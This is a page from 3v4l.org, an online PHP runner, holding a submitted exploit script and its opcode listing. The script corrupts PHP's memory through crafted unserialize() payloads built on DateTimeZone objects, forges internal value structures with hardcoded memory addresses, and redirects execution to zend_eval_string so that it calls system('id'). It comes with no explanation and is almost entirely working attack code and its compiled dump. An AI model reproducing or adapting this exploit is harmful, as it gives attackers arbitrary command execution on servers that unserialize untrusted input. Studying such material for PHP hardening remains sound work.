3v4l.org

run code in 300+ PHP versions simultaneously
<?php $f = 'system'; $c = 'id'; $fakezval1 = ptr2str(0x100b83008); $fakezval1 .= ptr2str(0x8); $fakezval1 .= "\x00\x00\x00\x00"; $fakezval1 .= "\x06"; $fakezval1 .= "\x00"; $fakezval1 .= "\x00\x00"; $data1 = 'a:3:{i:0;O:12:"DateTimeZone":2:{s:13:"timezone_type";a:1:{i:0;i:1;}s:8:"timezone";s:3:"UTC";}i:1;s:'.strlen($fakezval1).':"'.$fakezval1.'";i:2;a:1:{i:0;R:4;}}'; $x = unserialize($data1); $y = $x[2]; // zend_eval_string()'s address $y[0][0] = "\x6d"; $y[0][1] = "\x1e"; $y[0][2] = "\x35"; $y[0][3] = "\x00"; $y[0][4] = "\x01"; $y[0][5] = "\x00"; $y[0][6] = "\x00"; $y[0][7] = "\x00"; $fakezval2 = ptr2str(0x3b296324286624); // $f($c); $fakezval2 .= ptr2str(0x100b83000); $fakezval2 .= "\x00\x00\x00\x00"; $fakezval2 .= "\x05"; $fakezval2 .= "\x00"; $fakezval2 .= "\x00\x00"; $data2 = 'a:3:{i:0;O:12:"DateTimeZone":2:{s:13:"timezone_type";a:1:{i:0;i:1;}s:8:"timezone";s:3:"UTC";}i:1;s:'.strlen($fakezval2).':"'.$fakezval2.'";i:2;O:12:"DateTimeZone":2:{s:13:"timezone_type";a:1:{i:0;R:4;}s:8:"timezone";s:3:"UTC";}}'; $z = unserialize($data2); function ptr2str($ptr) { $out = ""; for ($i=0; $i<8; $i++) { $out .= chr($ptr & 0xff); $ptr >>= 8; } return $out; } ?>
Finding entry points
Branch analysis from position: 0
1 jumps found. (Code = 62) Position 1 = -2
filename:       /in/OY6lL
function name:  (null)
number of ops:  73
compiled vars:  !0 = $f, !1 = $c, !2 = $fakezval1, !3 = $data1, !4 = $x, !5 = $y, !6 = $fakezval2, !7 = $data2, !8 = $z
line      #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
    3     0  E >   ASSIGN                                                   !0, 'system'
    4     1        ASSIGN                                                   !1, 'id'
    6     2        INIT_FCALL_BY_NAME                                       'ptr2str'
          3        SEND_VAL_EX                                              4307038216
          4        DO_FCALL                                      0  $11     
          5        ASSIGN                                                   !2, $11
    7     6        INIT_FCALL_BY_NAME                                       'ptr2str'
          7        SEND_VAL_EX                                              8
          8        DO_FCALL                                      0  $13     
          9        ASSIGN_OP                                     8          !2, $13
    8    10        ASSIGN_OP                                     8          !2, '%00%00%00%00'
    9    11        ASSIGN_OP                                     8          !2, '%06'
   10    12        ASSIGN_OP                                     8          !2, '%00'
   11    13        ASSIGN_OP                                     8          !2, '%00%00'
   13    14        STRLEN                                           ~19     !2
         15        CONCAT                                           ~20     'a%3A3%3A%7Bi%3A0%3BO%3A12%3A%22DateTimeZone%22%3A2%3A%7Bs%3A13%3A%22timezone_type%22%3Ba%3A1%3A%7Bi%3A0%3Bi%3A1%3B%7Ds%3A8%3A%22timezone%22%3Bs%3A3%3A%22UTC%22%3B%7Di%3A1%3Bs%3A', ~19
         16        CONCAT                                           ~21     ~20, '%3A%22'
         17        CONCAT                                           ~22     ~21, !2
         18        CONCAT                                           ~23     ~22, '%22%3Bi%3A2%3Ba%3A1%3A%7Bi%3A0%3BR%3A4%3B%7D%7D'
         19        ASSIGN                                                   !3, ~23
   15    20        INIT_FCALL                                               'unserialize'
         21        SEND_VAR                                                 !3
         22        DO_ICALL                                         $25     
         23        ASSIGN                                                   !4, $25
   16    24        FETCH_DIM_R                                      ~27     !4, 2
         25        ASSIGN                                                   !5, ~27
   19    26        FETCH_DIM_W                                      $29     !5, 0
         27        ASSIGN_DIM                                               $29, 0
         28        OP_DATA                                                  'm'
   20    29        FETCH_DIM_W                                      $31     !5, 0
         30        ASSIGN_DIM                                               $31, 1
         31        OP_DATA                                                  '%1E'
   21    32        FETCH_DIM_W                                      $33     !5, 0
         33        ASSIGN_DIM                                               $33, 2
         34        OP_DATA                                                  '5'
   22    35        FETCH_DIM_W                                      $35     !5, 0
         36        ASSIGN_DIM                                               $35, 3
         37        OP_DATA                                                  '%00'
   23    38        FETCH_DIM_W                                      $37     !5, 0
         39        ASSIGN_DIM                                               $37, 4
         40        OP_DATA                                                  '%01'
   24    41        FETCH_DIM_W                                      $39     !5, 0
         42        ASSIGN_DIM                                               $39, 5
         43        OP_DATA                                                  '%00'
   25    44        FETCH_DIM_W                                      $41     !5, 0
         45        ASSIGN_DIM                                               $41, 6
         46        OP_DATA                                                  '%00'
   26    47        FETCH_DIM_W                                      $43     !5, 0
         48        ASSIGN_DIM                                               $43, 7
         49        OP_DATA                                                  '%00'
   28    50        INIT_FCALL_BY_NAME                                       'ptr2str'
         51        SEND_VAL_EX                                              16652529411057188
         52        DO_FCALL                                      0  $45     
         53        ASSIGN                                                   !6, $45
   29    54        INIT_FCALL_BY_NAME                                       'ptr2str'
         55        SEND_VAL_EX                                              4307038208
         56        DO_FCALL                                      0  $47     
         57        ASSIGN_OP                                     8          !6, $47
   30    58        ASSIGN_OP                                     8          !6, '%00%00%00%00'
   31    59        ASSIGN_OP                                     8          !6, '%05'
   32    60        ASSIGN_OP                                     8          !6, '%00'
   33    61        ASSIGN_OP                                     8          !6, '%00%00'
   35    62        STRLEN                                           ~53     !6
         63        CONCAT                                           ~54     'a%3A3%3A%7Bi%3A0%3BO%3A12%3A%22DateTimeZone%22%3A2%3A%7Bs%3A13%3A%22timezone_type%22%3Ba%3A1%3A%7Bi%3A0%3Bi%3A1%3B%7Ds%3A8%3A%22timezone%22%3Bs%3A3%3A%22UTC%22%3B%7Di%3A1%3Bs%3A', ~53
         64        CONCAT                                           ~55     ~54, '%3A%22'
         65        CONCAT                                           ~56     ~55, !6
         66        CONCAT                                           ~57     ~56, '%22%3Bi%3A2%3BO%3A12%3A%22DateTimeZone%22%3A2%3A%7Bs%3A13%3A%22timezone_type%22%3Ba%3A1%3A%7Bi%3A0%3BR%3A4%3B%7Ds%3A8%3A%22timezone%22%3Bs%3A3%3A%22UTC%22%3B%7D%7D'
         67        ASSIGN                                                   !7, ~57
   37    68        INIT_FCALL                                               'unserialize'
         69        SEND_VAR                                                 !7
         70        DO_ICALL                                         $59     
         71        ASSIGN                                                   !8, $59
   49    72      > RETURN                                                   1

Function ptr2str:
Finding entry points
Branch analysis from position: 0
1 jumps found. (Code = 42) Position 1 = 11
Branch analysis from position: 11
2 jumps found. (Code = 44) Position 1 = 13, Position 2 = 4
Branch analysis from position: 13
1 jumps found. (Code = 62) Position 1 = -2
Branch analysis from position: 4
2 jumps found. (Code = 44) Position 1 = 13, Position 2 = 4
Branch analysis from position: 13
Branch analysis from position: 4
filename:       /in/OY6lL
function name:  ptr2str
number of ops:  15
compiled vars:  !0 = $ptr, !1 = $out, !2 = $i
line      #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
   39     0  E >   RECV                                             !0      
   41     1        ASSIGN                                                   !1, ''
   42     2        ASSIGN                                                   !2, 0
          3      > JMP                                                      ->11
   43     4    >   INIT_FCALL                                               'chr'
          5        BW_AND                                           ~5      !0, 255
          6        SEND_VAL                                                 ~5
          7        DO_ICALL                                         $6      
          8        ASSIGN_OP                                     8          !1, $6
   44     9        ASSIGN_OP                                     7          !0, 8
   42    10        PRE_INC                                                  !2
         11    >   IS_SMALLER                                               !2, 8
         12      > JMPNZ                                                    ~10, ->4
   46    13    > > RETURN                                                   !1
   47    14*     > RETURN                                                   null

End of function ptr2str

Generated using Vulcan Logic Dumper, using php 8.0.0


preferences:
172.15 ms | 1404 KiB | 17 Q